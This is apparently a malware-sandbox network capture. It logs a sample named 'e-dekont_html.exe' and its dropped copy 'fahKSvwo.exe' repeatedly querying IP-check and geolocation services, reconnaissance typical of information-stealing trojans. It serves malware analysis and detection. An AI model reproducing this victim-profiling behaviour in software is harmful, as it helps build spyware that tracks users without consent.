Nov 20, 2024 07:52:23.388186932 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b46e480a74b1b041448389b7d4d2ac58 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49762	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:23.788970947 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:25.552380085 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: caa41d2b43be7afe747952be38a03c53 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49763	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:24.076741934 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:25.731915951 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aecde076e1429a07a64731cf10ffba08 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	61281	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:26.159900904 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:26.906852961 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 65e05123837ba879d3590c2a43281ca2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	61284	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:27.593836069 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:29.172739983 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b1d0f39ff52a0bd337d1aea90ffec250 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	61286	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:29.786780119 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:30.439938068 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d96bf50d41e186d8e9db5e98bc1fc7fc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	61288	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:31.087949038 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:31.563946009 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: deaa5078d9e27a539eb1f5b1702f078f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	188.114.97.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:13 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:13 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:13 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49442 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uj6ghEzOXkb4tUDRtcAW%2F1S0fUVbxt0Vu9iOn0nkqJLFW8OyIRORvMxJPMHSnkQiWM2uTs%2FTOoTPSKGAMu4N8xDbPNqmgPayNDK73Mk7Xx6Eu91QPi%2Fg%2BTihzK19R%2BcSAYiXBUYU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e568417acecc40c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1720683&cwnd=219&unsent_bytes=0&cid=43b3db02c82498e3&ts=268&x=0"
2024-11-20 06:52:13 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	188.114.97.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:14 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:14 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:14 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49443 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cRftJ3pLn27RJLLFPhSD7vy9bOpc7PyKla%2Ffs13OfcE2eGmzaAJ7pqDXVxEuur4Yi8XbFX2tUxzb9TDofWg%2Fo%2FUYh0DasM71vsLh%2ByKAzG2jFUgVUxmswfTV%2F4p9JR9NJRWPY7d7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56841c9a404345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1796923&cwnd=211&unsent_bytes=0&cid=509bf9aa2181e81c&ts=136&x=0"
2024-11-20 06:52:14 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.97.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:15 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:15 UTC	844	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:15 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49444 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EdpePzeRsR0T6myfP5mgrpeWvVjQVHZngqpAkQA7NIK5lDdKjfnB1mTVT9divdqjZfOHZbPkBhPovi6A15innHOYUZtadBnuds8TzotwRxztQWKRMspQwHCT1Nsbzpat3Co3EycG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5684249dba8c57-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1548250&cwnd=203&unsent_bytes=0&cid=2f100f4569019160&ts=121&x=0"
2024-11-20 06:52:15 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	188.114.97.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:17 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:17 UTC	856	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:17 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49446 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oA2vZrrjyQnAdqq6WO%2BQA5BZvBZqDkecCDi3iiXOJKwhdUjay%2BuzIud02h7w7eeYHDRTzhqz9SjGbMC2nUw%2FnAQrhsglJ5AjoPVpd%2BabD%2FAbh6XT3ANs%2FyvJ7h1ikwqoymXBiVua"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56842f98221a24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1909&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1502830&cwnd=209&unsent_bytes=0&cid=5fb64c546cd9c4af&ts=157&x=0"
2024-11-20 06:52:17 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	188.114.97.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:19 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:19 UTC	848	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:19 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49448 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qvSPhPLoRIAT29qlHK42rqtAcphEF9qOjHDsLmdYK30Yamjiia%2FunpA4g1KcrxNjror4%2FOqfrxOYSDA8pvlmf31F1a1lyQgimzH6LhpdB7O6F3FftjDZa2KqObLZ63ompH8EJDGK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56843c3e664379-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1719670&cwnd=194&unsent_bytes=0&cid=57c30b33908eb9d4&ts=610&x=0"
2024-11-20 06:52:19 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	188.114.97.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:19 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:19 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:19 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49448 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2B2ApLr7uud4T9OGW8eP714NTRAPT4mOZ66rCmO7tsN382zDfyiQ4bO8vS9RHP8El7ySHaYH4AoPKnfJPwlgfhPi3PFQ%2B30gwMbX4Xl05u%2B4%2B71zwyyFBGytpcMJ3gzZEZ2IDF8P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56843d9c36c33b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1469&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1976980&cwnd=182&unsent_bytes=0&cid=085313ffa0f9954e&ts=118&x=0"
2024-11-20 06:52:19 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	188.114.97.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:19 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:20 UTC	856	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:20 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49449 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hns5voylGasOli75ZX5yS%2FScxLMxhhwJ55e9SR2o2%2FZ3qLFcqj2j%2F%2FtgvudZ2k%2BRTvstgNJndL8h2xEbDSkJuKyUpnczDglezHEJ1YMaHK8N5hjJzl4bRBd7oh%2Ft4Fayw7dFXahw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e568441185e43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2037&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1405197&cwnd=185&unsent_bytes=0&cid=52a82181443c5d58&ts=160&x=0"
2024-11-20 06:52:20 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

